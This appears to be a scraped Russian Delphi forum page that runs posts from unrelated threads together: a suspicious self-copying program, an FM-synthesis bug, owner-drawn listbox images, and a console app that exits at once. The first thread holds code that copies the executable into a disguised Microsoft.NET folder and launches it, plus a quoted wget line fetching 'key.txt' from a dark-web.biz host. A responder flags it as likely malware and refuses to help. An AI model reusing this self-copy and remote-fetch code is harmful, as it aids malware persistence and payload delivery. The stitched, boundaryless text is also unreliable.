Вот этого уже не знаю. Можете побайтно сравнить копию с оригиналом. И если они совпадают, при том что оригинал запрос отсылает, а копия - нет, не знаю, в чём дело. Может антивирус блокирует запрос?
На соседнем форуме подсказали!Но ругается на else begin copyfile(PAnsiChar(Paramstr(0)), PAnsiChar('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))), False); if not FileExists('C:\ProgramData\Microsoft.NET\' + ExtractFileName(Paramstr(0))) then ShellExecute(Handle, nil, 'C:\ProgramData\Microsoft.NET\project1.exe', nil, nil, SW_SHOW); halt; end else begin sl:= TStringList.Create; sl.Text:= idhttp1.Get('http://'); for i:= 0 to sl.Count-1 {??? ??????? ????, ????. 5} do (FindComponent('Edit' + IntToStr(i+1)) as TEdit).Text:= sl; sl.Free;
А где, собственно, условие IF ? Научитесь уже оформлять свой код... на форуме в тегах CODE, а в среде - с правильными отступами. P.S. прочитав содержимое файла, я начинаю сомневаться, что вы делаете безобидную программу... Code: wget -o nul -O - http://dark-web.biz/key.txt R470006013745 C:\ProgramData\Microsoft.NET\lopata777.exe Судя по... это как-то связано с WebMoney UPD: Судя по сайту, вы точно делаете что-то плохое Я отклоняюсь. UPD 2: Ссылки удалять не стану, информацию вы сами оставили. Не люблю помогать вирусологам и ботоводам. А остальные участники форума пусть решают сами - помогать вам или нет. Но информацию в праве знать каждый.
Code: program Project1; {$APPTYPE CONSOLE} uses SysUtils; const OutFreq: Cardinal = 44100; function Gen(Time: Cardinal; Freq: Extended): Extended; var Arg: Extended; begin Arg := Time * Freq / OutFreq; Result := Sin(Arg*2*Pi); end; var F: File of Byte; Buf: Array[0..16383] of SmallInt; E: Extended; X: Cardinal; begin AssignFile(F, 'C:\FM.raw'); Rewrite(F); X := 0; while X < OutFreq * 10 do begin E := Gen(X, 2); E := Gen(X, 100*E + 440); Buf[X mod 16384] := Round(E * High(SmallInt)); Inc(X); if X mod 16384 = 0 then BlockWrite(F, Buf[0], Length(Buf) * SizeOf(Buf[0])); end; if X mod 16384 > 0 then BlockWrite(F, Buf[0], X mod Length(Buf) * SizeOf(Buf[0])); end. Пытаюсь написать простую программу, реализующую алгоритм частотной модуляции. В коде за генерацию волны отвечает функция Gen, как можно заметить, сначала генерируется модулятор - синусоида с частотой 2 Гц, а после несущая - синусоида с частотой 440 Гц, промодулированная модулятором Проблема в том, что в полученном звуке модулированный сигнал постоянно увеличивает свою частоту, хотя он должен быть постоянно равен 4 Гц (акустически воспринимается как эффект вибрации). При этом, если сгенерировать волны по отдельности - каждая из них генерируется корректно. Либо я ошибся в формулах, либо в логике. Прошу помочь в решении данного вопроса. Если я где-то найду ответ раньше, то оповещу. UPD: поправил выражение "E * 440" на "100*E + 440", так правильнее - индекс модуляции (коэффициент) на амплитуду модулятора (интервал 0..1), плюс частота несущей. Но проблему это не решило.
Привет всем. нужна подсказка: как реализовать на делфи (у меня ХЕ7) что вроде контактов, а если точнее listbox который сможет содержать картинку (возможное 2) + текс. 2 день гуглю, не могу ничего найти, либо не так гуглю
спасибо за ссылку, получилось переделать под jpg, вот только незадача, у меня идут циклы в циклах и в итоге я так понял событие OnDrawItem тупо не срабатывает до тех пох пор пока они не пройдут, из-за этого сыпятся ошибки и в половине итемов прорисовывается последняя загруженная картинка. на всякий случай, что бы проще было понять о чём я(кусочек кода): Code: for m := 1 to count1 do begin vv := copy(vv, pos('photo":"', vv)); delete(vv, 1, 11); tt := 1; url_photo := ''; while vv[tt] <> '"' do begin url_photo := url_photo + vv[tt]; inc(tt); end; Memo2.lines.add(url_photo); ms := tmemorystream.Create; img := TJpegImage.Create; getimg := tidhttp.Create(nil); try getimg.Get(url_photo, ms); ms.Position := 0; img.LoadFromStream(ms); finally ms.Free; getimg.Free; end; ListBox2.Items.AddObject(inttostr(m), img); img.Free; переменная vv содержит очень длинную строку, которая режется по частям
ошибки вылетают из за того что img постоянно меняет своё содержание, а событие OnDrawItem не может уже взять те изображения, так как их в памяти нет. Попробывал сделать с сохранением картинок и их загрузкой, в итоге рисует он только последнюю картинку везде
Тяжело сказать без проекта. Если не лень, убери с проекта все "лишнее" и залей, тогда смогу тебе помочь
вот этого сделать не могу, так как там всё от всего зависит. В процессе дебага при добавлении через массив вручную каждого элемента, следующая картинка перерисовывает все остальные Code: with (Control as TListBox).Canvas do { рисуем на холсте элемента управления, не на форме } begin FillRect(Rect); { очищаем прямоугольник } Offset := 2; { обеспечиваем отступ по умолчанию } jpgg := TJpegImage((Control as TListBox).Items.Objects[index]); { получаем иконку для данного элемента } if jpgg <> nil then begin Draw(Rect.Left + 1, Rect.Top + 2, TJpegImage((Control as TListBox).Items.Objects[index])); Offset := jpgg.width + 9; { добавляем четыре пикселя между иконкой и текстом } end; TextOut(Rect.Left + Offset, Rect.Top + 7, (Control as TListBox) .Items[index]); { выводим текст } используется это метод. Code: listjpg.LoadFromFile('foto_50x50\'+name_file[qwe]+'.jpg'); ListBox2.Items.AddObject(name_file[qwe], listjpg); inc(qwe); то есть при нажатии на кнопку в переменную загружается картинка и отправляется в listbox, и он заменяет все предыдущие картинки последней отправленной.
Эх, заставляешь старого, больного человека устанавливать Delphi на свой девственно-чистый комп Повторюсь, не знаю где затык конкретно у тебя, т.к. нет проекта. Сделал все как в приведенном мной примере, все работает как нужно. Вот тебе скрин: А вот тебе мой пример: http://rghost.ru/57980855
нашёл трабл... всё было не так из за Dibujo := TBitmap.create; вот этого элемента... я создавал его только раз и потом, в него заново загружал изображения Code: Dibujo := TBitmap.create; Dibujo.LoadFromFile('./1.bmp'); AddObject('Delphi World - программа для всех', Dibujo); Dibujo := TBitmap.create; Dibujo.LoadFromFile('./2.bmp'); AddObject('Delphi World - самый большой сборник', Dibujo); спасибо
ещё такой вопрос, как определить, сколько отступать от картинки с текстом что бы дорисовать ещё 1 картинку сразу же после текста?
Ты там мессенджер пилишь что ли?)) Не вижу никакой проблемы в том, чтобы еще порисовать. http://rghost.ru/58023033 А отступ определять математически, как же еще. Для начала замерь ширину самой широкой буквы в твоем наборе шрифтов, ну а потом length(str)*razmerbukvi
У вас основной поток завершается сразу после цикла, поэтому приложение закрывается. В конце перед end поставьте Readln, или что-нибудь ещё.